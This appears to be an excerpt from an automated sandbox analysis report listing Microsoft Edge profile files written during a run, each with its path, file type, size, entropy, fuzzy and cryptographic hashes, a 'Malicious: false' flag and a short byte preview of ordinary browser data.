Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382917157897682","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564073672067281
Encrypted:	false
SSDEEP:	768:ZJ7o1eWj2W5wD3f49y8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPuSw3I8h9CrwXDBGx:Z10e+2WaD3fMyu1jafSw5/nzBGWlRts
MD5:	F305D6CC7E53D9EA7CF0021C60C9FE74
SHA1:	B33F410EEB199790FA9D56F5BD7DF63F17140248
SHA-256:	835622608315780C44153993446078BA15B439D197D93C60EF21F8FC8349A19D
SHA-512:	15170E217287C467AC926D39EF2CC9AE25FBEEF72F79D7046FA637F323461C43913F4238E03209FF7EF86226AC0901958EE33E2C34E80473A90C734C2393E628
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382917157087279","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382917157087279","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3e986.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564073672067281
Encrypted:	false
SSDEEP:	768:ZJ7o1eWj2W5wD3f49y8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPuSw3I8h9CrwXDBGx:Z10e+2WaD3fMyu1jafSw5/nzBGWlRts
MD5:	F305D6CC7E53D9EA7CF0021C60C9FE74
SHA1:	B33F410EEB199790FA9D56F5BD7DF63F17140248
SHA-256:	835622608315780C44153993446078BA15B439D197D93C60EF21F8FC8349A19D
SHA-512:	15170E217287C467AC926D39EF2CC9AE25FBEEF72F79D7046FA637F323461C43913F4238E03209FF7EF86226AC0901958EE33E2C34E80473A90C734C2393E628
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382917157087279","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382917157087279","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2394
Entropy (8bit):	5.814152923104019
Encrypted:	false
SSDEEP:	48:F2emNaMrd6SIfBSSrdeQoBrd6SzBS9rdQzBSB:F1mNaMx6SIUSxdoBx6SY9xQYB
MD5:	18D1F790C62FA381CF30B640FC2F8DED
SHA1:	F8D396FC1B82519779FB181491D3319C47E28F30
SHA-256:	3A84870230314C58965DC68860097FABA0154E6412862B2FFEBB43AD6AF0E77E
SHA-512:	CC68B4D8594470A529B50E5B61D38899B89A2A2FB9E08B3D3E9B9377148EFE2C2C8E5DB7A9EC8928E73E187E2E5D4FC21F6ED20560DE187B892747C417A86C21
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2?<...................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmpt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.11537779820666
Encrypted:	false
SSDEEP:	6:iOXpW30RM1N723oH+TcwtE/a252KLl1pHq2PN723oH+TcwtE/a2ZIFUv:78osaYeb8xLVvVaYeb8J2FUv
MD5:	EFFF350AE5C4CF0D896EF87390A09245
SHA1:	A3F5478281EA7D08350D2BCF1BD7E8BDD100FCF1
SHA-256:	60F5081B954437871D34EF34DE2291EAB26E515A5C1CC13E40EF7DC165BDD46D
SHA-512:	0A29C16B2A62A3D04724213B268B5921C6712D110BE373D95BC9758F51CDA4DA3F367228790F2A0A656E08A654825C10CA6C4F19561B9DD083DEC147B8834DEA
Malicious:	false
Preview:	2025/02/01-15:59:25.737 1054 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2025/02/01-15:59:25.755 1054 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	116311
Entropy (8bit):	5.574053547567154
Encrypted:	false
SSDEEP:	1536:WI906CxPXfO8a1PEYeIlL/NvKKd1XCjA3DONDF3d4Na3ZOl8fS6Lc3JdKP/zPXL8:39LCxPXfO8a1P5eIlL/tKK1XGndZ9w
MD5:	52FC9C23720AA05614E3EEBE4570B5D2
SHA1:	603607DEA1EBD36620B5D8D45BCB3D78CAF86361
SHA-256:	34606FEE75ED824A4CA8F8F1FE63F1CB3C0B1215519B5581EAC91A48365CFDC4
SHA-512:	E0D9C257F90C468CF7AD13F953B0A55421571988BB618A6330BF23EA8E49002F23D9EBB264E4B166CEFDC2BD2A0A516684A90A051A6AA9BF4940CF2C72FF7E11
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	191561
Entropy (8bit):	6.390381458539117
Encrypted:	false
SSDEEP:	3072:USyVzZKlh+wfW79zkGTL/K1LXB7eGXovNvqA4Me0BvmtqzJiZ9567JUaaelAMW1v:5+wO5zk+L/ORhXANvqA4Me0BvmtqzJiF
MD5:	C2758B37444C6DCAB639D3B899EE167B
SHA1:	4770E188F311910E0D21151FC1D5B2420DDA3168
SHA-256:	11E73070E189E398243E6C9DCE86D228D341E90CC36C55FBF2B0FA27DC3228AB
SHA-512:	8D429CB490D46AA8BEA9D468B7AC334FFB8577EBEB4FDAFC44F8E76C9541886F4F03C15E74C713842F4E2674CC35F0507F62F2B719663B76D9C9F18D314188C6
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R..j....yT.........,T.8..`,.....L`.....,T...`......L`......Rc>vn.....exports...Rcf.......module....Rc...4....define....Rb...D....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q......e{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....h...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:HeNAyXl/l4/l9/lxEstllg/lVbS6ln:+NAKoOseM6l
MD5:	3E80703D5B0EA0A713F906970CA267F6
SHA1:	135FF54420E19E254DFE6CDF7FDD0713BD6243A9
SHA-256:	B562A2E59A82F7B18656748DFBF9C619B280A27852BB5AB349B66AF0774746DF
SHA-512:	05E823D12713B0A19CF5560D30D2E8E5F4F39AF8905EDBADF7771849EC5C1FBCBF2F8E6F2A3966C14017AC1309A775BF7A9D3DE3490B37AB3706BA09ED504877
Malicious:	false
Preview:	@....\|..oy retne.........................X....,...................7../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:HeNAyXl/l4/l9/lxEstllg/lVbS6ln:+NAKoOseM6l
MD5:	3E80703D5B0EA0A713F906970CA267F6
SHA1:	135FF54420E19E254DFE6CDF7FDD0713BD6243A9
SHA-256:	B562A2E59A82F7B18656748DFBF9C619B280A27852BB5AB349B66AF0774746DF
SHA-512:	05E823D12713B0A19CF5560D30D2E8E5F4F39AF8905EDBADF7771849EC5C1FBCBF2F8E6F2A3966C14017AC1309A775BF7A9D3DE3490B37AB3706BA09ED504877
Malicious:	false
Preview:	@....\|..oy retne.........................X....,...................7../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF40f2f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:HeNAyXl/l4/l9/lxEstllg/lVbS6ln:+NAKoOseM6l
MD5:	3E80703D5B0EA0A713F906970CA267F6
SHA1:	135FF54420E19E254DFE6CDF7FDD0713BD6243A9
SHA-256:	B562A2E59A82F7B18656748DFBF9C619B280A27852BB5AB349B66AF0774746DF
SHA-512:	05E823D12713B0A19CF5560D30D2E8E5F4F39AF8905EDBADF7771849EC5C1FBCBF2F8E6F2A3966C14017AC1309A775BF7A9D3DE3490B37AB3706BA09ED504877
Malicious:	false
Preview:	@....\|..oy retne.........................X....,...................7../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7269
Entropy (8bit):	3.3725426413350137
Encrypted:	false
SSDEEP:	192:Dw4z7B0vJJaN4NRNO19Xp+dKitLl9iSrvVL2I0/gtFyL1:Dw4z7BjqDc19Xp+4wLl9iSrvVL2z/gtu
MD5:	2CC098CA90BC8B15506C65BC5C683CC0
SHA1:	F5669851BFB46A33C315F46726FCB627C227F71D
SHA-256:	C209A2D73354C4A788A3F567D853BF9BE7CD9CFD1F667B90F7D556B06E620F5B
SHA-512:	2799BDE2CD2726815351F078F353514AB94AFBA0A5129AC84299EC08FA20425E0E45167A88642AB8B85B28754A1F4823A09BEE2956471FB7925F2C9ABFE58579
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............q...b................next-map-id.1.Cnamespace-3da379a4_65e9_4fbf_91d1_dbade29af28c-https://ntp.msn.com/.0..#. ................map-0-shd_sweeper.5{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.c.p.r.g.-.h.p.-.r.d.c.t.,.c.-.p.r.g.-.m.s.n.-.b.l.s.b.i.d.m.h.o.,.p.n.p.w.x.e.x.p.r.e.g.3.6.0.,.b.i.n.g._.v.2._.s.c.o.p.e.-.c.,.p.r.g.-.1.s.-.l.c.k.t.d.2.-.c.,.1.s.-.b.w.o.s.c.a.c.h.e.,.1.s.-.c.h.-.t.r.v.l.t.1.,.1.s.-.e.n.t.r.v.l.l.s.,.1.s.-.p.1.-.b.i.n.g.w.i.d.g.e.t.s.,.1.s.-.p.1.-.t.r.v.l.l.s.t.1.,.1.s.-.p.2.-.b.i.n.g.w.i.d.g.e.t.s.,.1.s.-.p.2.-.t.r.v.l.l.s.t.1.,.1.s.-.w.p.o.-.l.o.c.k.-.t.r.v.l.-.c.2.,.p.r.g.-.1.s.w.-.s.a.e.d.g.e._.e.q.r.t.3.,.p.r.g.-.1.s.w.-.s.a.u.i.d.r.l.t.1.,.p.r.g.-.1.s.w.-.s.a.-.e.p.l.d.l.i.s.t.6.d.,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.100424789424336
Encrypted:	false
SSDEEP:	6:iOXpbJ44q2PN723oH+TcwtrQMxIFUtFpbJOvJZmw7pbJa3DkwON723oH+TcwtrQq:7FxvVaYebCFUtbA/RY5OaYebtJ
MD5:	319CCBB5703AFDB3C96BD73F28CE3AF7
SHA1:	F1EB61CD74444FCE9446959CBE96EC41A6E839D8
SHA-256:	1A74C2FD25A8C5E472DA8BBBBA211DC745996128A5DB412969B54E94F6276F67
SHA-512:	99AFDF6E00369C815C84FFBD6566BDD450D97FBAB626BD82551D699399E859D5D7F487C8F9AC337EB3385CCAE190583A8E0A9A45535BCE6DE8C66098EE125335
Malicious:	false
Preview:	2025/02/01-15:59:18.399 1980 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/01-15:59:18.401 1980 Recovering log #3.2025/02/01-15:59:18.412 1980 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.100424789424336
Encrypted:	false
SSDEEP:	6:iOXpbJ44q2PN723oH+TcwtrQMxIFUtFpbJOvJZmw7pbJa3DkwON723oH+TcwtrQq:7FxvVaYebCFUtbA/RY5OaYebtJ
MD5:	319CCBB5703AFDB3C96BD73F28CE3AF7
SHA1:	F1EB61CD74444FCE9446959CBE96EC41A6E839D8
SHA-256:	1A74C2FD25A8C5E472DA8BBBBA211DC745996128A5DB412969B54E94F6276F67
SHA-512:	99AFDF6E00369C815C84FFBD6566BDD450D97FBAB626BD82551D699399E859D5D7F487C8F9AC337EB3385CCAE190583A8E0A9A45535BCE6DE8C66098EE125335
Malicious:	false
Preview:	2025/02/01-15:59:18.399 1980 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/01-15:59:18.401 1980 Recovering log #3.2025/02/01-15:59:18.412 1980 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13382917159604075

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8182847590629474
Encrypted:	false
SSDEEP:	24:3FpfKrl4rSR7PntpsAF4unxmtLp3X2amEtG1ChqS0HXTVQKkOAM4ai:3Fpfgluo7PtzFYLp2FEkChx03CHOpTi
MD5:	F1028B0F1870A8D40A674755C60B3829
SHA1:	F6329899D5204D0E693259E52C7ADDD508F204AE
SHA-256:	703A06DBEDB30020A7F2E147E3F67E20C248851CD735C0C0840C4883C729B276
SHA-512:	755E00E13ADB782D6781F8DC29CA4722505BBC97D1430ED525FA9E8F6F7C09C80791AA7A5F56EFEE1E5D5BC545EB254AED6C0A199895E27D896977E0C28AB24B
Malicious:	false
Preview:	SNSS.......E@.;...........E@.;......"E@.;...........E@.;.......E@.;.......F@.;.......F@.;....!..F@.;...............................E@.;F@.;1..,...F@.;$...3da379a4_65e9_4fbf_91d1_dbade29af28c...E@.;.......F@.;.....u!........E@.;...E@.;.......................E@.;....................5..0...E@.;&...{46F3A197-DB49-410A-81B3-94975C835573}.....E@.;.......F@.;...........F@.;........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......3{...-..4{...-.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8....................................................................... ..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.090045440699064
Encrypted:	false
SSDEEP:	6:iOXpb1pM+q2PN723oH+Tcwt7Uh2ghZIFUtFpbAmZmw7pbApMVkwON723oH+Tcwts:7Fo+vVaYebIhHh2FUtbD/RzV5OaYebIT
MD5:	93D9685EB7EF4BF0CB62B608B2925F0C
SHA1:	82F6ECAEAA6E6E3B953893803A0DFFA618005D19
SHA-256:	7578CF8879736FD35D91D7BA0333AC9CA7B9B0E7D28B79AD12F1C15C7E45633D
SHA-512:	C623A3B8AEC6E0C8ADCDEDCCEE35944DAB57787EF430269D04929CBA080A6C7246A556C0BC2F557861787C8D76405CB93D7E97042EDE1820DA5ABA56BAB1E7FB
Malicious:	false
Preview:	2025/02/01-15:59:17.334 1eac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/01-15:59:17.335 1eac Recovering log #3.2025/02/01-15:59:17.335 1eac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.090045440699064
Encrypted:	false
SSDEEP:	6:iOXpb1pM+q2PN723oH+Tcwt7Uh2ghZIFUtFpbAmZmw7pbApMVkwON723oH+Tcwts:7Fo+vVaYebIhHh2FUtbD/RzV5OaYebIT
MD5:	93D9685EB7EF4BF0CB62B608B2925F0C
SHA1:	82F6ECAEAA6E6E3B953893803A0DFFA618005D19
SHA-256:	7578CF8879736FD35D91D7BA0333AC9CA7B9B0E7D28B79AD12F1C15C7E45633D
SHA-512:	C623A3B8AEC6E0C8ADCDEDCCEE35944DAB57787EF430269D04929CBA080A6C7246A556C0BC2F557861787C8D76405CB93D7E97042EDE1820DA5ABA56BAB1E7FB
Malicious:	false
Preview:	2025/02/01-15:59:17.334 1eac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/01-15:59:17.335 1eac Recovering log #3.2025/02/01-15:59:17.335 1eac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
